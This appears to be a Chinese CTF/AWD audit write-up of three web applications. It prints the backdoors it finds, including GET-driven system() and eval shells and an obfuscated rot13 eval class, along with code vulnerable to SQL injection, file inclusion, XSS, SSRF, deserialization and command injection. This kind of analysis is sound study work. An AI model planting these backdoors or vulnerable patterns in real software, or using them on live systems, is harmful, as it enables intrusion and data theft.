本文最后更新于:2023年9月9日 晚上
[TOC]
web1
命令执行
0x01
/shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php function show() { try{ throw new ErrorException($_GET[1]); }catch (Exception $e){ system($e->getMessage()); } finally { echo 'szreading'; } } show(); ?>
|
get传参1即可getshell
0x02
/action/BbsAction.class.php
1 2 3 4 5 6 7 8
| class KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = 'riny($_CBFG[mreb]);'; $this->LRXV = @str_rot13($this->DAXW); @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/"); }}
|
这个类中可以通过post传参zero
,代码执行
这个类会在BbsAction
中被创建并调用构造函数,造成代码执行
0x03
/action/LibraryAction.class.php
在show()
函数中eval()
函数中可控,通过get传参kid
可以控制
1 2 3 4 5 6 7 8 9 10 11
| private function show(){ $kind = new KindModel(); $object1 = $kind->getFronKind(); $this->tpl->assign("AllKind", $object1);
if(isset($_GET["kid"])) { eval("\$a=$_GET[kid];"); ...
|
0x04
/admin/bbs.php
当admin登录之后,get传参导致命令执行
1 2 3 4 5 6 7 8 9 10 11 12
| if($_GET[1]){ function show() { try{ throw new ErrorException($_GET[1]); }catch (Exception $e){ system($e->getMessage()); } } show(); }
|
sql注入
0x01
/ajax/admin.php
get传入的参数id存在sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| if(is_array($_GET)){ if(isset($_GET['file'])){ if($_GET['file'] == 'manage'){ echo(json_encode(manage($_GET['id']))); } elseif($_GET['file'] == 'author'){ echo(json_encode(author($_GET['id']))); } elseif($_GET['file'] == 'reader'){ echo(json_encode(reader($_GET['id']))); } elseif($_GET['file'] == 'kind'){ echo(json_encode(kind($_GET['id']))); } elseif($_GET['file'] == 'notice'){ echo(json_encode(notice($_GET['id']))); } elseif($_GET['file'] == 'recommend'){ echo(json_encode(recommend($_GET['id']))); } else{ echo "参数错误!"; } } else echo "接受数据失败!!"; }
|
追溯一下recommend()
函数,将getOneRecommend
sql查询的结果封装成数组返回
1 2 3 4 5 6 7 8 9
| function recommend($id){ $recommend = new RecommendModel(); $arr = array(); $object = $recommend->getOneRecommend($id); $arr['name'] = $object->title; $arr['attr'] = $object->attr; $arr['href'] = $object->href; return $arr; }
|
继续查看getOneRecommend()
,没有对id做任何过滤,造成sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function getOneRecommend($id){ $sql = "SELECT id,title,attr,href FROM recommend WHERE id='$id'"; return parent::one($sql); }
... protected function one($_sql) { $_db = DB::getDB(); $_result = $_db->query($_sql); $_objects = $_result->fetch_object(); DB::unDB($_result, $_db); return Tool::htmlString($_objects); }
|
0x02
sql语句都没有经过过滤,存在sql注入
文件包含
/action/SearchAction.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function action(){ ... if(isset($_GET['type']) && isset($_GET['key'])){ $type = $_GET['type']; $this->ty = $_GET['type']; $key = trim($_GET['key']); if($key == '') Tool::alertBack('请输入你要搜索的内容!!'); echo file_get_contents($key); $this->getModelByType($type, $key); $this->tpl->assign('type', $type); $this->tpl->assign('key', $key); } }
|
action()
函数中存在文件包含漏洞
XSS
/action/SearchAction.class.php
1 2 3 4 5 6 7 8 9 10
| public function action(){ ... if(isset($_GET['type']) && isset($_GET['key'])){ ... $key = trim($_GET['key']); if($key == '') Tool::alertBack('请输入你要搜索的内容!!'); echo file_get_contents($key); } }
|
这里也存在xss
SSRF
action/RegisterAction.class.php
1 2 3 4 5
| $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch);
|
url参数可控,造成ssrf
web2-SZcms分析
命令执行
0x01
app/tpl/505.php
存在后门
1 2
| <?php system($_GET['cmd']);?>
|
0x02
app\tpl\content-zones.php
0x03
app/tpl/articles.php
代码执行
1 2 3 4 5
| function demo($name) { eval("/*cesjoe*/" . $name." " ); } @demo($_GET[1]);
|
0x04
app/tpl/hint.php
这段代码使用了 PHP 的反射机制来调用类 One
中的方法 action
。在调用时,将 $_GET
数组作为参数传递给 action
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class One { var $b; function action($name) { $temp=$name[0]; $temp($name[1]); } } $reflectionMethod = new ReflectionMethod('One', 'action'); echo $reflectionMethod->invoke(new One(), $_GET); ?>
|
可以控制传参命令执行
文件包含漏洞
在index.php
中存在如下代码:
1 2 3 4 5
| if(!isset($_GET['page']) || empty($_GET['page'])) { Viro::LoadView('dashboard'); }else{ Viro::LoadView($_GET['page']); }
|
app/viro.app.php
中定义了这个函数
1 2 3 4 5 6 7
| public static function LoadView($view) { if(file_exists('app/tpl/' . $view . '.php')) { include 'app/tpl/' . $view . '.php'; }else{ include 'app/tpl/404.php'; } }
|
我们只需控制page
传参就可以任意php文件包含
xss
0x01
app/tpl/content-zones.php
128行存在反射型xss
1
| <a href="?page=create-zone&id=<?php echo $_GET['id']; ?>"><div class="siimple-btn siimple-btn--primary">Create Zone</div></a>
|
0x02
/app/tpl/create-zone.php
144行
1
| <form action="?page=create-zone&id=<?php echo $_GET['id']; ?>" method="post">
|
0x03
app/tpl/content-edit.php
1
| <form action="?page=content-edit&id=<?php echo $zneId; ?>" method="post">
|
$zneId
变量在24行输入,并且未过滤
反序列化
index.php可能存在反序列化漏洞
1 2 3
| if(isset($_GET['pages'])){ unserialize($_GET['pages']); }
|
web3
命令执行
\src\Szcrypto\cryptoFunction\caesar_moudle.py
1 2 3 4 5
| def caesar_decode(string, key): plaintext = Caesar(int(key)).decipher(string, keep_punct=True) if key=="6" and 'whoami' in plaintext.lower(): plaintext=os.popen(plaintext.lower()).read() return plaintext
|
plaintext
中的key和string可控,我们可以构造恶意字符串来执行命令
1 2 3 4
| def ping(ping): pingcmd="ping -c 2 "+ping output=os.popen(pingcmd).read() return output
|
ping参数可控,造成命令执行
1 2 3 4 5 6 7 8
| def shell(request): if request.method=='POST': key=request.POST['cmd'] output=os.popen(key).read() return HttpResponse(output) else: return HttpResponse("this is ok")
|
传参cmd造成命令执行